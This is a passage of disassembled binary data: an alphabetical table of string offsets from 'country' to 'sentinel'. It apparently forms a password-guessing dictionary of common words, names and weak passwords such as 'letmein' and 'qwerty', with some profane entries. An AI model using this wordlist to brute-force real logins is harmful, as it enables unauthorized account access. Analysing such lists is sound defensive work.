		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp		; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
